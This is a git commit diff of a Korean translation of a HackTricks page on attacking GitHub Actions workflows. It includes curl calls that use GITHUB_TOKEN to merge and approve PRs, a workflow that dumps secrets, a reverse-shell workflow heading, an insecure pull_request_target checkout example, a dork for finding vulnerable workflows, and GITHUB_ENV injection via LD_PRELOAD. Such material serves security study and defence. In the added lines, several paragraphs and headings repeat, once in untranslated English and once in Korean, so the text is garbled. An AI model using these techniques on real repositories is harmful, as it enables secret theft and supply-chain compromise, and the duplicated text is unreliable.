mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act
This commit is contained in:
@@ -1,58 +1,58 @@
|
||||
# Github Actions 악용하기
|
||||
# Github Actions 악용
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 도구
|
||||
|
||||
다음 도구들은 Github Action 워크플로우를 찾고 취약한 워크플로우를 찾는 데 유용합니다:
|
||||
다음 도구들은 Github Action 워크플로우를 찾고 취약한 것들을 찾아내는 데 유용합니다:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)에서 체크리스트도 확인하세요.
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - 또한 [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)에 있는 체크리스트도 확인하세요
|
||||
|
||||
## 기본 정보
|
||||
|
||||
이 페이지에서는 다음을 찾을 수 있습니다:
|
||||
이 페이지에서는 다음을 다룹니다:
|
||||
|
||||
- 공격자가 Github Action에 접근할 수 있는 모든 **영향 요약**
|
||||
- **액세스하는 방법**:
|
||||
- 액션을 생성할 **권한**을 가지기
|
||||
- **풀 리퀘스트** 관련 트리거 악용
|
||||
- **기타 외부 접근** 기술 악용
|
||||
- 이미 손상된 레포에서 **피벗팅**
|
||||
- 마지막으로, **내부에서 액션을 악용하기 위한 포스트 익스플로잇 기술**에 대한 섹션 (언급된 영향을 초래함)
|
||||
- 공격자가 Github Action에 접근했을 때 발생할 수 있는 모든 영향의 **요약**
|
||||
- 액션에 **접근 권한을 얻는** 다양한 방법:
|
||||
- 액션을 생성할 수 있는 **권한** 보유
|
||||
- **pull request** 관련 트리거 악용
|
||||
- 기타 **외부 접근** 기법 악용
|
||||
- 이미 침해된 repo로부터의 **Pivoting**
|
||||
- 마지막으로, 내부에서 액션을 악용하기 위한 **post-exploitation 기법** 섹션(앞서 언급한 영향들을 야기)
|
||||
|
||||
## 영향 요약
|
||||
|
||||
[**Github Actions에 대한 기본 정보**](../basic-github-information.md#github-actions)를 참고하세요.
|
||||
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
|
||||
**저장소** 내에서 **GitHub Actions에서 임의의 코드를 실행**할 수 있다면, 다음을 수행할 수 있습니다:
|
||||
만약 리포지토리 내에서 **GitHub Actions에서 임의의 코드를 실행**할 수 있다면, 다음을 수행할 수 있습니다:
|
||||
|
||||
- 파이프라인에 장착된 **비밀**을 **탈취**하고, AWS 및 GCP와 같은 외부 플랫폼에 대한 무단 접근을 얻기 위해 **파이프라인의 권한을 악용**할 수 있습니다.
|
||||
- **배포를 손상**시키고 다른 **아티팩트**를 손상시킬 수 있습니다.
|
||||
- 파이프라인이 자산을 배포하거나 저장하는 경우, 최종 제품을 변경하여 공급망 공격을 가능하게 할 수 있습니다.
|
||||
- **사용자 정의 작업자에서 코드 실행**하여 컴퓨팅 파워를 악용하고 다른 시스템으로 피벗할 수 있습니다.
|
||||
- `GITHUB_TOKEN`과 관련된 권한에 따라 **레포지토리 코드를 덮어쓸 수** 있습니다.
|
||||
- 파이프라인에 마운트된 **secrets**를 탈취하고 파이프라인 권한을 **악용**하여 AWS 및 GCP와 같은 외부 플랫폼에 무단 접근할 수 있습니다.
|
||||
- 배포(deployments) 및 기타 **artifacts**를 손상시킬 수 있습니다.
|
||||
- 파이프라인이 자산을 배포하거나 저장하는 경우, 최종 제품을 변경하여 공급망 공격을 수행할 수 있습니다.
|
||||
- 커스텀 워커(custom workers)에서 코드를 실행하여 컴퓨팅 파워를 악용하고 다른 시스템으로 pivot할 수 있습니다.
|
||||
- `GITHUB_TOKEN`에 연관된 권한에 따라 리포지토리 코드를 덮어쓸 수 있습니다.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
이 "**비밀**" (`${{ secrets.GITHUB_TOKEN }}` 및 `${{ github.token }}`에서 오는)은 관리자가 이 옵션을 활성화할 때 제공됩니다:
|
||||
이 "**secret**" ( `${{ secrets.GITHUB_TOKEN }}` 및 `${{ github.token }}` 에서 나오는)은 관리자가 이 옵션을 활성화할 때 부여됩니다:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 토큰은 **Github Application**이 사용할 동일한 토큰으로, 동일한 엔드포인트에 접근할 수 있습니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
이 토큰은 **Github Application이 사용할** 것과 동일하므로, 동일한 엔드포인트에 접근할 수 있습니다: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github은 **레포 간** 접근을 허용하는 [**흐름**](https://github.com/github/roadmap/issues/74)을 출시해야 하며, 이를 통해 레포가 `GITHUB_TOKEN`을 사용하여 다른 내부 레포에 접근할 수 있습니다.
|
||||
> Github는 [**flow**](https://github.com/github/roadmap/issues/74)를 공개해야 합니다. 이는 GitHub 내에서 **cross-repository** 접근을 허용하여 리포지토리가 `GITHUB_TOKEN`을 사용해 다른 내부 리포지토리에 접근할 수 있게 합니다.
|
||||
|
||||
이 토큰의 가능한 **권한**은 다음에서 확인할 수 있습니다: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
토큰은 **작업이 완료된 후 만료**됩니다.\
|
||||
이 토큰은 다음과 같은 형식입니다: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
토큰은 **작업이 완료된 후 만료**된다는 점에 유의하세요.\
|
||||
이 토큰들은 다음과 같은 형태입니다: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
이 토큰으로 할 수 있는 흥미로운 것들:
|
||||
이 토큰으로 할 수 있는 몇 가지 흥미로운 것들:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
@@ -66,7 +66,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PR 승인" }}
|
||||
{{#tab name="Approve PR" }}
|
||||
```bash
|
||||
# Approve a PR
|
||||
curl -X POST \
|
||||
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> 여러 경우에 **Github Actions envs 또는 secrets 안에서 github 사용자 토큰을 찾을 수 있습니다**. 이러한 토큰은 리포지토리 및 조직에 대한 더 많은 권한을 부여할 수 있습니다.
|
||||
> 여러 경우에 **github user tokens inside Github Actions envs or in the secrets**를 찾을 수 있다는 점에 유의하세요. 이러한 토큰은 repository와 organization에 대해 더 많은 권한을 부여할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action 출력에서 비밀 목록</summary>
|
||||
<summary>List secrets in Github Action output</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>비밀을 이용한 리버스 셸 얻기</summary>
|
||||
<summary>secrets를 이용한 reverse shell 획득</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
다른 사용자의 리포지토리에서 Github Token에 부여된 권한을 **로그를 확인하여** 확인할 수 있습니다:
|
||||
다른 사용자의 리포지토리에서 Github Token에 부여된 권한은 actions의 **로그 확인**을 통해 확인할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## 허용된 실행
|
||||
|
||||
> [!NOTE]
|
||||
> 이는 Github actions를 손상시키는 가장 쉬운 방법이 될 수 있습니다. 이 경우는 **조직에서 새 리포지토리를 생성할 수 있는 권한**이 있거나 **리포지토리에 대한 쓰기 권한**이 있는 경우를 가정합니다.
|
||||
> 이는 Github actions를 손상시키기 위한 가장 쉬운 방법일 것입니다. 이 경우 조직 내에서 **새 리포지토리를 생성할 수 있는 권한**, 또는 **저장소에 대한 쓰기 권한**이 있다고 가정합니다.
|
||||
>
|
||||
> 이 시나리오에 있다면 [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)를 확인할 수 있습니다.
|
||||
> 이 상황이라면 [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)을 확인하면 됩니다.
|
||||
|
||||
### 리포지토리 생성에서의 실행
|
||||
### Execution from Repo Creation
|
||||
|
||||
조직의 구성원이 **새 리포지토리를 생성할 수** 있고 Github actions를 실행할 수 있는 경우, **새 리포지토리를 생성하고 조직 수준에서 설정된 비밀을 훔칠 수** 있습니다.
|
||||
조직 구성원이 **새 리포지토리를 생성할 수 있고** 당신이 github actions를 실행할 수 있는 경우, **새 리포지토리를 생성하여 조직 수준에 설정된 secrets를 탈취할 수 있습니다**.
|
||||
|
||||
### 새 브랜치에서의 실행
|
||||
### Execution from a New Branch
|
||||
|
||||
이미 Github Action이 구성된 리포지토리에서 **새 브랜치를 생성할 수** 있다면, 이를 **수정**하고, **내용을 업로드**한 다음 **새 브랜치에서 해당 액션을 실행**할 수 있습니다. 이렇게 하면 **리포지토리 및 조직 수준의 비밀을 유출**할 수 있습니다(하지만 이들이 어떻게 불리는지 알아야 합니다).
|
||||
이미 Github Action이 구성된 저장소에 **새 브랜치를 생성할 수 있다면**, 해당 액션을 **수정**하고, 내용을 **업로드**한 뒤 **새 브랜치에서 해당 action을 실행**할 수 있습니다. 이 방법으로 **exfiltrate repository and organization level secrets** (단, 그 이름을 알아야 합니다).
|
||||
|
||||
수정된 액션을 **수동으로** 실행 가능하게 만들 수 있으며, **PR이 생성될 때** 또는 **코드가 푸시될 때**(얼마나 소란을 피우고 싶은지에 따라 다름):
|
||||
> [!WARNING]
|
||||
> workflow YAML 내부에만 구현된 제한(예: `on: push: branches: [main]`, job conditionals, 또는 manual gates)은 협력자가 편집할 수 있습니다. 외부에서 강제되지 않으면 (branch protections, protected environments, and protected tags), 기여자는 워크플로우의 실행 대상을 자신의 브랜치로 변경하여 마운트된 secrets/permissions를 악용할 수 있습니다.
|
||||
|
||||
수정한 액션을 **수동으로** 실행되게 하거나, **PR이 생성될 때** 또는 **코드가 푸시될 때** 실행되게 할 수 있습니다(얼마나 눈에 띄게 할지에 따라 다름):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
@@ -180,46 +183,46 @@ branches:
|
||||
## 포크된 실행
|
||||
|
||||
> [!NOTE]
|
||||
> 공격자가 **다른 리포지토리의 Github Action을 실행**할 수 있도록 허용하는 다양한 트리거가 있습니다. 이러한 트리거 가능한 작업이 잘못 구성된 경우, 공격자는 이를 손상시킬 수 있습니다.
|
||||
> 공격자가 다른 리포지토리의 **Github Action을 실행**할 수 있게 하는 다양한 트리거가 있습니다. 이러한 트리거 가능한 action들이 잘못 구성되어 있으면 공격자가 이를 침해할 수 있습니다.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
워크플로우 트리거 **`pull_request`**는 예외가 있을 때마다 풀 리퀘스트가 수신될 때마다 워크플로우를 실행합니다: 기본적으로 **첫 번째**로 **협업**하는 경우, 일부 **유지 관리자가** 워크플로우의 **실행**을 **승인**해야 합니다.
|
||||
워크플로우 트리거 **`pull_request`**는 풀 리퀘스트가 수신될 때마다 워크플로우를 실행합니다. 단 몇 가지 예외가 있습니다: 기본적으로 협업이 **처음**인 경우에는 일부 **유지관리자**가 워크플로우의 **실행**을 **승인**해야 합니다:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> **기본 제한**이 **첫 번째** 기여자에게 해당되므로, **유효한 버그/오타를 수정**하여 기여한 후 **새로운 `pull_request` 권한을 남용하기 위해 다른 PR을 보낼 수 있습니다**.
|
||||
> 기본 제한이 **처음 기여자**에 적용되므로, 유효한 버그/오타를 수정하는 PR로 기여한 후 새로 얻은 `pull_request` 권한을 남용하기 위해 **다른 PR**을 보낼 수 있습니다.
|
||||
>
|
||||
> **이것을 테스트했지만 작동하지 않습니다**: ~~다른 옵션은 프로젝트에 기여한 사람의 이름으로 계정을 만들고 그의 계정을 삭제하는 것입니다.~~
|
||||
> **저는 이걸 테스트했지만 동작하지 않았습니다**: ~~또 다른 옵션은 프로젝트에 기여했던 사람의 이름으로 계정을 만들고 그 계정을 삭제하는 것입니다.~~
|
||||
|
||||
또한 기본적으로 **쓰기 권한**과 **비밀 접근**을 대상 리포지토리에 방지합니다, [**문서**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)에서 언급한 바와 같이:
|
||||
또한 기본적으로 대상 리포지토리에 대해 **쓰기 권한**과 **secrets 접근**을 허용하지 않습니다(자세한 내용은 [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) 참조):
|
||||
|
||||
> `GITHUB_TOKEN`을 제외하고, **비밀은 포크된** 리포지토리에서 워크플로우가 트리거될 때 **러너에 전달되지 않습니다**. **`GITHUB_TOKEN`은 포크된 리포지토리의 풀 리퀘스트에서 읽기 전용 권한을 가집니다**.
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
|
||||
공격자는 Github Action의 정의를 수정하여 임의의 작업을 실행하고 임의의 작업을 추가할 수 있습니다. 그러나 언급된 제한으로 인해 비밀을 훔치거나 리포를 덮어쓸 수는 없습니다.
|
||||
공격자는 Github Action 정의를 수정해 임의의 코드를 실행하거나 임의의 액션을 추가할 수 있습니다. 그러나 앞서 언급한 제한 때문에 비밀을 훔치거나 리포지토리를 덮어쓸 수는 없습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> **네, 공격자가 PR에서 트리거될 Github Action을 변경하면, 그의 Github Action이 사용되고 원본 리포의 것이 아닙니다!**
|
||||
> **네, 공격자가 PR에서 트리거될 github action을 변경하면, 사용되는 것은 원본 리포지토리의 것이 아니라 공격자의 Github Action이 됩니다!**
|
||||
|
||||
공격자가 실행되는 코드를 제어하므로, `GITHUB_TOKEN`에 비밀이나 쓰기 권한이 없더라도 공격자는 예를 들어 **악성 아티팩트를 업로드**할 수 있습니다.
|
||||
공격자가 실행되는 코드를 제어하기 때문에, `GITHUB_TOKEN`에 비밀이나 쓰기 권한이 없더라도 예를 들어 **악성 아티팩트 업로드** 같은 행동을 할 수 있습니다.
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
워크플로우 트리거 **`pull_request_target`**은 대상 리포지토리에 **쓰기 권한**과 **비밀 접근**을 가집니다(그리고 권한 요청을 하지 않습니다).
|
||||
워크플로우 트리거 **`pull_request_target`**는 대상 리포지토리에 대한 **쓰기 권한**과 **secrets 접근**을 가지며(권한 요청을 하지 않습니다).
|
||||
|
||||
워크플로우 트리거 **`pull_request_target`**은 **기본 컨텍스트에서 실행**되며 PR에서 제공된 컨텍스트에서 실행되지 않습니다(신뢰할 수 없는 코드를 **실행하지 않기 위해**). `pull_request_target`에 대한 자세한 내용은 [**문서**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)를 확인하세요.\
|
||||
또한 이 특정 위험한 사용에 대한 자세한 내용은 [**github 블로그 게시물**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)을 확인하세요.
|
||||
워크플로우 트리거 **`pull_request_target`**는 **base 컨텍스트에서 실행되며** PR에서 제공된 컨텍스트에서 실행되지 않습니다(신뢰할 수 없는 코드를 실행하지 않기 위해서입니다). `pull_request_target`에 대한 자세한 내용은 [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) 참조하세요.\
|
||||
또한 이 특정 위험한 사용에 대한 자세한 내용은 이 [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)를 확인하세요.
|
||||
|
||||
**실행된 워크플로우**가 **기본**에서 정의된 것이고 **PR**에서 정의된 것이 아니기 때문에 **`pull_request_target`**을 사용하는 것이 **안전해 보일 수 있지만**, **안전하지 않은 몇 가지 경우가 있습니다**.
|
||||
실행되는 워크플로우가 **base**에 정의된 것이고 **PR**의 것이 아니기 때문에 **`pull_request_target`**을 사용하는 것이 **안전해 보일 수** 있지만, **안전하지 않은 몇몇 경우**가 있습니다.
|
||||
|
||||
이것은 **비밀에 접근할 수 있습니다**.
|
||||
그리고 이것은 **secrets에 접근**할 수 있습니다.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) 트리거는 `completed`, `requested` 또는 `in_progress`일 때 다른 워크플로우에서 워크플로우를 실행할 수 있도록 합니다.
|
||||
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) 트리거는 워크플로우가 `completed`, `requested` 또는 `in_progress` 상태일 때 다른 워크플로우를 실행할 수 있게 합니다.
|
||||
|
||||
이 예제에서는 별도의 "테스트 실행" 워크플로우가 완료된 후 실행되도록 워크플로우가 구성되어 있습니다:
|
||||
이 예에서는 별도의 "Run Tests" 워크플로우가 완료된 후에 워크플로우가 실행되도록 구성되어 있습니다:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -227,29 +230,47 @@ workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
또한, 문서에 따르면: `workflow_run` 이벤트로 시작된 워크플로우는 **이전 워크플로우가 아닌 경우에도 비밀을 접근하고 토큰을 쓸 수 있습니다**.
|
||||
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
|
||||
|
||||
이런 종류의 워크플로우는 **외부 사용자가 `pull_request` 또는 `pull_request_target`을 통해 트리거할 수 있는 워크플로우에 의존하는 경우 공격받을 수 있습니다**. 몇 가지 취약한 예시는 [**이 블로그에서 찾을 수 있습니다**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 첫 번째 예시는 **`workflow_run`**으로 트리거된 워크플로우가 공격자의 코드를 다운로드하는 것입니다: `${{ github.event.pull_request.head.sha }}`\
|
||||
두 번째 예시는 **신뢰할 수 없는** 코드에서 **`workflow_run`** 워크플로우로 **아티팩트**를 **전달**하고 이 아티팩트의 내용을 **RCE에 취약하게** 사용하는 것입니다.
|
||||
이 밖에 문서에 따르면: `workflow_run` 이벤트로 시작된 workflow는 **이전 workflow가 그렇지 않았더라도 secrets에 접근하고 토큰을 쓸 수 있습니다**.
|
||||
|
||||
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
|
||||
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
|
||||
|
||||
이런 종류의 workflow는 외부 사용자가 **`pull_request`** 또는 **`pull_request_target`**을 통해 트리거할 수 있는 **workflow**에 **종속**되어 있는 경우 공격받을 수 있습니다. 취약한 예시는 [**이 블로그**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)에서 확인할 수 있습니다. 첫 번째 예시는 **`workflow_run`**으로 트리거된 workflow가 공격자의 코드를 다운로드하는 경우입니다: `${{ github.event.pull_request.head.sha }}`\
|
||||
두 번째 예시는 **신뢰할 수 없는** 코드에서 생성된 **artifact**를 **`workflow_run`** workflow로 **전달**하고, 그 artifact의 내용을 사용함으로써 **RCE에 취약**해지는 경우입니다.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: `pull_request`에서 실행될 때 사용/다운로드된 코드가 원본에서 온 것인지 포크된 PR에서 온 것인지 확인
|
||||
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
|
||||
|
||||
## 포크된 실행 남용
|
||||
## Abusing Forked Execution
|
||||
|
||||
외부 공격자가 GitHub 워크플로우를 실행하도록 만드는 모든 방법을 언급했으니, 이제 잘못 구성된 경우 이러한 실행이 어떻게 남용될 수 있는지 살펴보겠습니다:
|
||||
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
|
||||
|
||||
### 신뢰할 수 없는 체크아웃 실행
|
||||
## Abusing Forked Execution
|
||||
|
||||
**`pull_request`**의 경우, 워크플로우는 **PR의 컨텍스트에서** 실행되므로 **악의적인 PR 코드**를 실행하게 되지만, 누군가가 **먼저 이를 승인해야** 하며 [제한 사항](#pull_request)과 함께 실행됩니다.
|
||||
외부 공격자가 github workflow를 실행시키는 모든 방법을 언급했습니다. 이제 이러한 실행들이 잘못 구성되었을 때 어떻게 악용될 수 있는지 살펴보겠습니다.
|
||||
|
||||
**`pull_request_target` 또는 `workflow_run`**을 사용하는 워크플로우가 **`pull_request_target` 또는 `pull_request`**에서 트리거될 수 있는 워크플로우에 의존하는 경우, 원본 레포의 코드가 실행되므로 **공격자는 실행된 코드를 제어할 수 없습니다**.
|
||||
### Untrusted checkout execution
|
||||
|
||||
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](#pull_request).
|
||||
|
||||
### Untrusted checkout execution
|
||||
|
||||
**`pull_request`**의 경우 workflow는 **PR의 컨텍스트**에서 실행되므로 (**악의적인 PR의 코드가 실행됩니다**). 다만 누군가 먼저 **승인해야** 하고 일부 [제한사항](#pull_request)이 적용됩니다.
|
||||
|
||||
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
|
||||
|
||||
`pull_request_target` 또는 `workflow_run`을 사용하는 workflow가 **`pull_request_target` 또는 `pull_request`**로 트리거될 수 있는 다른 workflow에 의존하는 경우, 원본 리포지토리의 코드가 실행되므로 **공격자가 실행되는 코드를 제어할 수는 없습니다**.
|
||||
|
||||
> [!CAUTION]
|
||||
> 그러나, **action**에 **명시적인 PR 체크아웃**이 있어 **기본이 아닌 PR에서 코드를 가져오는 경우**, 공격자가 제어하는 코드를 사용할 수 있습니다. 예를 들어 (PR 코드가 다운로드되는 12번째 줄을 확인):
|
||||
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
|
||||
|
||||
> [!CAUTION]
|
||||
> 다만 **action**에 **명시적인 PR checkout**이 있어 **PR의 코드**(base가 아닌)를 가져오도록 되어 있다면, 공격자가 제어하는 코드가 사용됩니다. 예를 들어(PR 코드가 다운로드되는 12번 라인을 확인하세요):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
on:
|
||||
@@ -279,32 +300,53 @@ message: |
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
잠재적으로 **신뢰할 수 없는 코드는 `npm install` 또는 `npm build` 중에 실행됩니다**. 빌드 스크립트와 참조된 **패키지는 PR 작성자가 제어합니다**.
|
||||
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
|
||||
|
||||
잠재적으로 **신뢰할 수 없는 코드가 `npm install` 또는 `npm build` 중에 실행될 수 있습니다**. 빌드 스크립트와 참조된 **패키지들이 PR 작성자에 의해 제어되기 때문**입니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 취약한 액션을 검색하기 위한 GitHub 도크는: `event.pull_request pull_request_target extension:yml`입니다. 그러나 액션이 불안전하게 구성되더라도 작업을 안전하게 실행하도록 구성하는 다양한 방법이 있습니다 (예: PR을 생성하는 행위자에 대한 조건을 사용하는 것).
|
||||
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
|
||||
|
||||
### 컨텍스트 스크립트 주입 <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
> [!WARNING]
|
||||
> 취약한 actions를 검색하기 위한 github dork 예: `event.pull_request pull_request_target extension:yml` 그러나 action이 불안전하게 설정되어 있어도 job을 안전하게 실행하도록 구성하는 다양한 방법이 있습니다(예: PR을 생성한 actor가 누구인지에 대한 조건문 사용).
|
||||
|
||||
특정 [**GitHub 컨텍스트**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)의 값은 **PR을 생성하는 사용자에 의해 제어됩니다**. GitHub 액션이 이 **데이터를 사용하여 무엇인가를 실행하는 경우**, **임의 코드 실행**으로 이어질 수 있습니다:
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
|
||||
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
일부 [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)의 값은 PR을 생성하는 **사용자**에 의해 **제어**된다는 점을 주의하세요. 만약 github action이 그 **데이터를 사용해 어떤 동작을 실행**한다면, **임의 코드 실행**로 이어질 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
{{#endref}}
|
||||
|
||||
### **GITHUB_ENV 스크립트 주입** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
문서에 따르면: 워크플로우 작업의 후속 단계에서 사용할 수 있도록 **환경 변수를 정의하거나 업데이트**하여 이 값을 **`GITHUB_ENV`** 환경 파일에 작성할 수 있습니다.
|
||||
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
|
||||
|
||||
공격자가 이 **env** 변수 안에 **임의의 값을 주입**할 수 있다면, **LD_PRELOAD** 또는 **NODE_OPTIONS**와 같은 코드를 실행할 수 있는 env 변수를 주입할 수 있습니다.
|
||||
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
예를 들어 ([**이**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 및 [**이**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), 업로드된 아티팩트를 신뢰하는 워크플로우가 **`GITHUB_ENV`** env 변수에 내용을 저장한다고 가정해 보십시오. 공격자는 이를 손상시키기 위해 다음과 같은 것을 업로드할 수 있습니다:
|
||||
문서에 따르면: workflow job에서 **환경 변수를 정의하거나 업데이트하고 이를 `GITHUB_ENV` 환경 파일에 기록하면**, 해당 환경 변수를 이후의 모든 단계에서 사용할 수 있게 됩니다.
|
||||
|
||||
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
|
||||
|
||||
만약 공격자가 이 **env** 변수 안에 **임의의 값을 주입**할 수 있다면, **LD_PRELOAD**나 **NODE_OPTIONS**처럼 이후 단계에서 코드를 실행시킬 수 있는 환경 변수를 주입할 수 있습니다.
|
||||
|
||||
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
|
||||
|
||||
예를 들어 ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) 및 [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), 업로드된 artifact의 내용을 **`GITHUB_ENV`** 환경 변수에 저장하도록 신뢰하는 workflow를 상상해보세요. 공격자는 이를 악용하기 위해 다음과 같은 내용을 업로드할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
